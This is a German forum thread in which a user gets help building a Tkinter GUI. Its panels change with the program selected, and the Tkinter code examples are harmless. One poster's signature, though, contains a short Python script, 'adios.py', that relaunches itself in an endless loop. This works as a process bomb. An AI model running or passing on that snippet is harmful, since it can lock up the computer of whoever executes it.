Ich möchte das GUI nach dem klick auf einen Button anpassen. Zum Beispiel möchte ich in einem Frame ein Text-Feld erzeugen.
Die Methode, die den Code hierfür erhält, soll allerdings in einer anderen Klasse stehen. Meine Idee war die folgende:
Ich erzeuge zuerst alles, was in der GUI-Klasse immer gleich ist. Klickt man dann auf einen Button, wird ein Neues Obekt mit der entsprechenden Klasse generiert und die Methode, welche das GUI verändert, wird aufgerufen.
Leider funktioniert das nicht. Wie implementiert man solche Dinge üblicherweise in Python /Tkinter??
lG
dh233
GUI manipulieren
- Michael Schneider
- User
- Beiträge: 569
- Registriert: Samstag 8. April 2006, 12:31
- Wohnort: Brandenburg
Hallo,
wie sieht denn Dein Code bis jetzt aus?
Wenn das GUI-update durch ein Ereignis ausgelöst wird, sehe ich da ja gar keine Probleme. Was genau funktioniert nicht?
Hier mal ein extrem einfaches Beispiel:
Grüße,
der Michel
wie sieht denn Dein Code bis jetzt aus?
Wenn das GUI-update durch ein Ereignis ausgelöst wird, sehe ich da ja gar keine Probleme. Was genau funktioniert nicht?
Hier mal ein extrem einfaches Beispiel:
Code: Alles auswählen
from Tkinter import *
tk = Tk()
def add_label(): Label(tk, text = "Label Nummer %i" % (len(tk.children)), width = 20).grid()
Button(tk, text = "neues Label", width = 20, height = 2, command = add_label).grid()
tk.mainloop()
der Michel
Diese Nachricht zersört sich in 5 Sekunden selbst ...
Hallo!
Bis jetzt hab ich mal eine Mixin.py gemacht, die Buttons erstellen kann:
------------mixin.py-------------------------------
-----------/mixin.py-----------------------------------
Dann hab ich noch eine Framework.py, welche ein Tkinter-Fenster baut und dort solch einen Button erzeugt:
--------------framework.py-------------------------------
------------/framework.py--------------------------------
In der mixin.py hab ich dann auch noch eine Klasse mit der man Text-Felder erzeugen kann, die auch in framework.py verwendet wird.
Das Ganze ist aber ziemlich unpraktisch, wenn es darum geht, die Textfelder zu aktualisieren.
Eigentlich wollte ich ja die Logik des Programms und den GUI-Aufbau komplett trennen, aber ich weiß nicht wirklich, wie man das sinnvoll macht.
Der Grundgedanke dahinter ist nämlich, dass man das Programm dann einfach erweitern kann.
lG
dh233
Bis jetzt hab ich mal eine Mixin.py gemacht, die Buttons erstellen kann:
------------mixin.py-------------------------------
Code: Alles auswählen
class StartButton(Button):
def __init__(self, parent=None, **config): #
Button.__init__(self, parent, config, padx=40, pady=40, bg="green", width=10, font=("Times New Roman", 12, "bold")) #
self.pack()
Dann hab ich noch eine Framework.py, welche ein Tkinter-Fenster baut und dort solch einen Button erzeugt:
--------------framework.py-------------------------------
Code: Alles auswählen
"""creating start button and setting command for it"""
self.startD=StartButton(text="Scan", parent=self.sideButtonFrame)
self.startD.config(command=self.startD.startDNS)
In der mixin.py hab ich dann auch noch eine Klasse mit der man Text-Felder erzeugen kann, die auch in framework.py verwendet wird.
Das Ganze ist aber ziemlich unpraktisch, wenn es darum geht, die Textfelder zu aktualisieren.
Eigentlich wollte ich ja die Logik des Programms und den GUI-Aufbau komplett trennen, aber ich weiß nicht wirklich, wie man das sinnvoll macht.
Der Grundgedanke dahinter ist nämlich, dass man das Programm dann einfach erweitern kann.
lG
dh233
-
- User
- Beiträge: 170
- Registriert: Samstag 4. Juni 2005, 18:51
- Wohnort: Großmehlra (in Thüringen)
- Kontaktdaten:
Du könntest die komplette GUI in eine XML-Datei packen und beim Programmstart einlesen und die GUI darau erstellen... dann lässt sie sich auch einfach erweitern...[/code]
#adios.py
import os,sys
while 1: os.startfile(sys.argv[0])
import os,sys
while 1: os.startfile(sys.argv[0])
- Michael Schneider
- User
- Beiträge: 569
- Registriert: Samstag 8. April 2006, 12:31
- Wohnort: Brandenburg
Hi IG!
Ausgangssituation: Frame sideButtonFrame
Generierung -> Startbutton
Configuration -> command-Ereignis des Startbuttons ruft Startbutton.startDNS
So weit so gut. Aber wo kommen jetzt die Textfelder ins Spiel und wo sollen sie plaziert werden? Ist das egal, wo sie im Frame erscheinen oder woher bekommst Du die Positionsinformation? Je ausführlicher und zusammenhängender die Frage, umso geeigneter und hilfreicher die Antworten.
Prinzipiell kannst Du GUI-Erzeugungscode und Logiccode grundlegend trennen. Erster liefert Dir Widgetreferenzen, über die Du Aussehen und Funktion der Widgets jederzeit ändern kannst. Zweiter liefert Methoden oder Funktionen, die Du über Events an die Widgets binden oder die ganze GUI umgestalten kannst.
Ich kenne keine Programmiersprache, mit der man leichter während der Laufzeit neue Kontrollelemente erzeugen kann. Dunkel kann ich mich an meine Diplomarbeit erinnern, in der ich in VBA!! Controls dynamisch erzeugen musste. Aber das ist ein anderes Thema.
Grüße,
der Michel
Du hast ein paar Fragmente Deines Programms angegeben, was hilfreich wäre ist eine Art Ablaufplan. Was ich verstanden habe ist:dh233 hat geschrieben: Der Grundgedanke dahinter ist nämlich, dass man das Programm dann einfach erweitern kann.
Ausgangssituation: Frame sideButtonFrame
Generierung -> Startbutton
Configuration -> command-Ereignis des Startbuttons ruft Startbutton.startDNS
So weit so gut. Aber wo kommen jetzt die Textfelder ins Spiel und wo sollen sie plaziert werden? Ist das egal, wo sie im Frame erscheinen oder woher bekommst Du die Positionsinformation? Je ausführlicher und zusammenhängender die Frage, umso geeigneter und hilfreicher die Antworten.

Prinzipiell kannst Du GUI-Erzeugungscode und Logiccode grundlegend trennen. Erster liefert Dir Widgetreferenzen, über die Du Aussehen und Funktion der Widgets jederzeit ändern kannst. Zweiter liefert Methoden oder Funktionen, die Du über Events an die Widgets binden oder die ganze GUI umgestalten kannst.
Ich kenne keine Programmiersprache, mit der man leichter während der Laufzeit neue Kontrollelemente erzeugen kann. Dunkel kann ich mich an meine Diplomarbeit erinnern, in der ich in VBA!! Controls dynamisch erzeugen musste. Aber das ist ein anderes Thema.

Grüße,
der Michel
Diese Nachricht zersört sich in 5 Sekunden selbst ...
Hallo!
Das GUI sieht prinzipiell wie folgt aus:
Oben ein Frame der über die gesamte Breite geht und in dem die Buttons dynamisch erstellt werden. Jedes Programm bekommt einen eigenen Button, wobei jedes Programm seinen eigenen Ordner in einem Verzeichnis hat. Dh. es werden zuerst alle Ordner in einem Verzeichnis ausgelesen und da Ordnername == Buttonname werden dann die Buttons erstellt.
Dann kommt an den linken Rand ein Frame, der nur 2 Buttons enthält: Start, Stop. Dieser Frame füllt allerdings trotzdem die gesamte Höhe.
Diese zwei Frames sollen über die gesamte Laufzeit des Programms hinweg gleich bleiben, allerdings sollen dem Start und Stop-Button je nach gewähltem Programm unterschiedliche Funktionen zugeteilt werden.
Der letzte Frame beinhaltet dann abhängig von dem gewählten Programm Textfelder udgl.
So soll das Programm funktionieren:
Es wird gestartet und im obersten Frame drückt man auf den ersten Button, woraufhin in dem Content-Frame (neben Start/Stop- Button) die entsprechenden Textfelder angezeigt werden.
Dann gibt man die Parameter, die das Programm zur Ausführung braucht ein und drückt auf den Start-Button. Hier soll ein neuer Thread gestartet werden, damit das Programm arbeiten kann und es aber trotzdem möglich ist bereits auf den zweitern Button für das zweite Programm zu klicken, damit man dort ebenfalls schon etwas eingeben kann.
Hier taucht dann auch schon das nächste Problem auf: Wenn ich das erste Programm gestartet habe, dann zum zweiten Programm switche und dann wieder zurück zum ersten Programm gehe, sollen die Eingaben im ersten Programm bestehen bleiben und die Textfelder, welche die Ergebnisse ausgeben, sollen aktualisiert werden.
Ich hab das ganze schon mal als dummy gebaut, wobei das nur als Design-Studie war. Das hab ich aber leider nicht auf diesem Computer und daher werde ich es später noch posten.
lG
dh233
EDIT: Hier das Bild, wie das GUI aussehen soll:
http://www.homepage24.de/userdaten6/950 ... er/gui.jpg
Beim Feld "Input" wird etwas eingegeben, dann auf Start gedrückt und bei den 2 Feldern Output wird eben etwas ausgegeben.
Das GUI sieht prinzipiell wie folgt aus:
Oben ein Frame der über die gesamte Breite geht und in dem die Buttons dynamisch erstellt werden. Jedes Programm bekommt einen eigenen Button, wobei jedes Programm seinen eigenen Ordner in einem Verzeichnis hat. Dh. es werden zuerst alle Ordner in einem Verzeichnis ausgelesen und da Ordnername == Buttonname werden dann die Buttons erstellt.
Dann kommt an den linken Rand ein Frame, der nur 2 Buttons enthält: Start, Stop. Dieser Frame füllt allerdings trotzdem die gesamte Höhe.
Diese zwei Frames sollen über die gesamte Laufzeit des Programms hinweg gleich bleiben, allerdings sollen dem Start und Stop-Button je nach gewähltem Programm unterschiedliche Funktionen zugeteilt werden.
Der letzte Frame beinhaltet dann abhängig von dem gewählten Programm Textfelder udgl.
So soll das Programm funktionieren:
Es wird gestartet und im obersten Frame drückt man auf den ersten Button, woraufhin in dem Content-Frame (neben Start/Stop- Button) die entsprechenden Textfelder angezeigt werden.
Dann gibt man die Parameter, die das Programm zur Ausführung braucht ein und drückt auf den Start-Button. Hier soll ein neuer Thread gestartet werden, damit das Programm arbeiten kann und es aber trotzdem möglich ist bereits auf den zweitern Button für das zweite Programm zu klicken, damit man dort ebenfalls schon etwas eingeben kann.
Hier taucht dann auch schon das nächste Problem auf: Wenn ich das erste Programm gestartet habe, dann zum zweiten Programm switche und dann wieder zurück zum ersten Programm gehe, sollen die Eingaben im ersten Programm bestehen bleiben und die Textfelder, welche die Ergebnisse ausgeben, sollen aktualisiert werden.
Ich hab das ganze schon mal als dummy gebaut, wobei das nur als Design-Studie war. Das hab ich aber leider nicht auf diesem Computer und daher werde ich es später noch posten.
lG
dh233
EDIT: Hier das Bild, wie das GUI aussehen soll:
http://www.homepage24.de/userdaten6/950 ... er/gui.jpg
Beim Feld "Input" wird etwas eingegeben, dann auf Start gedrückt und bei den 2 Feldern Output wird eben etwas ausgegeben.
- Michael Schneider
- User
- Beiträge: 569
- Registriert: Samstag 8. April 2006, 12:31
- Wohnort: Brandenburg
Hi dh,
na bitte, damit kann man doch schon ein semi-professionelles Grundgerüst erstellen. Ist aber noch einiges dran zu tun.
Schlecht (nicht) kommentiert, ich weiß. Habe es leider nicht mehr geschafft.
Grüße,
Michael
na bitte, damit kann man doch schon ein semi-professionelles Grundgerüst erstellen. Ist aber noch einiges dran zu tun.

Code: Alles auswählen
from Tkinter import *
tk = Tk()
tk.title("Programmwahl")
tk.configure(width = tk.winfo_screenwidth(), height = tk.winfo_screenheight()-100)
tk.vSelectedProgram = IntVar()
tk.vSelectedProgram.set(1)
dTextfelder1 = { 0:["Output", "Ausgabe"]}
dTextfelder2 = { 0:["Input", "Hallo Welt"],
1:["Output", "Ausgabe"]}
dTextfelder3 = { 0:["Input", ""],
1:["Input", ""],
2:["Output", ""]}
class Program:
"""Klasse verwaltet Programmdaten und -funktionen"""
def __init__(self, wRoot, dTextfelder, iProgNumber):
self.dTextfelder = dTextfelder
self.wRoot = wRoot
self.iProgNumber = iProgNumber
self.sName = "Program %i" % iProgNumber
self.dTextCompounds = {}
for iNumber, lParams in dTextfelder.items():
self.dTextCompounds[iNumber] = TextCompound(wRoot, iNumber, lParams)
PF.add_button(iProgNumber, self.sName)
def get_textfelder(self):
return self.dTextfelder
def show(self):
for oTextCompound in self.dTextCompounds.values():
oTextCompound.grid()
def hide(self):
for oTextCompound in self.dTextCompounds.values():
oTextCompound.grid_remove()
def start(self):
pass ## TODO
def stop(self):
pass ## TODO
class ProgramFrame(Frame):
def __init__(self):
Frame.__init__(self, tk, bd = 4, relief = SUNKEN)
self.place(x = 0, y = 0, width = tk.winfo_screenwidth(), height = 60)
self.iLastProg = tk.vSelectedProgram.get()
def add_button(self, iValue, sName):
def switch(iValue = iValue):
dPrograms[self.iLastProg].hide()
dPrograms[iValue].show()
self.iLastProg = iValue
Radiobutton(self, text = sName, command = switch, value = iValue, variable = tk.vSelectedProgram, indicatoron = False).grid(column = iValue, row = 1, padx = 5, pady = 5)
class ControlFrame(Frame):
fontBig = ("Courier", 24, "bold")
def __init__(self):
Frame.__init__(self, tk, bd = 4, relief = SUNKEN)
Button(self, text = "Start", font = self.fontBig, bg = "#3f5").grid(ipadx = 5, ipady = 5, pady = 3, sticky = NSEW)
Button(self, text = "Stop", font = self.fontBig, bg = "#f35").grid(ipadx = 5, ipady = 5, pady = 3, sticky = NSEW)
self.place(x = 0, y = 60, width = 160, height = tk.winfo_screenheight()-160)
class TextCompound(Frame):
fontCaption = ("Courier", 16, "bold")
def __init__(self, wRoot, iNumber, lParams):
Frame.__init__(self, wRoot)
Label(self, text = lParams[0], font = self.fontCaption).grid()
self.text = Text(self, width = 30, height = 40)
self.text.grid(padx = 10, pady = 10)
self.text.insert("1.0", lParams[1])
self.grid(row = 1, column = iNumber)
self.grid_remove()
class TextFrame(Frame):
def __init__(self):
Frame.__init__(self, tk, bd = 4, relief = SUNKEN)
self.place(x = 160, y = 60, width = tk.winfo_screenwidth()-160, height = tk.winfo_screenheight()-160)
PF = ProgramFrame()
CF = ControlFrame()
TF = TextFrame()
dPrograms = { 1:Program(TF, dTextfelder1, 1),
2:Program(TF, dTextfelder2, 2),
3:Program(TF, dTextfelder3, 3)}
dPrograms[1].show()
tk.mainloop()
Grüße,
Michael
Diese Nachricht zersört sich in 5 Sekunden selbst ...
- Michael Schneider
- User
- Beiträge: 569
- Registriert: Samstag 8. April 2006, 12:31
- Wohnort: Brandenburg
Hi dh,
den Code habe ich mal schnell zusammengeschrieben, ist nicht wirklich schön und durchsichtig. Schreib mir einfach eine PN, dann können wir die Einzelheiten durchgehen und ich helfe Dir bei eventuellen Fragen.
Grüße,
Michael
den Code habe ich mal schnell zusammengeschrieben, ist nicht wirklich schön und durchsichtig. Schreib mir einfach eine PN, dann können wir die Einzelheiten durchgehen und ich helfe Dir bei eventuellen Fragen.
Grüße,
Michael
Diese Nachricht zersört sich in 5 Sekunden selbst ...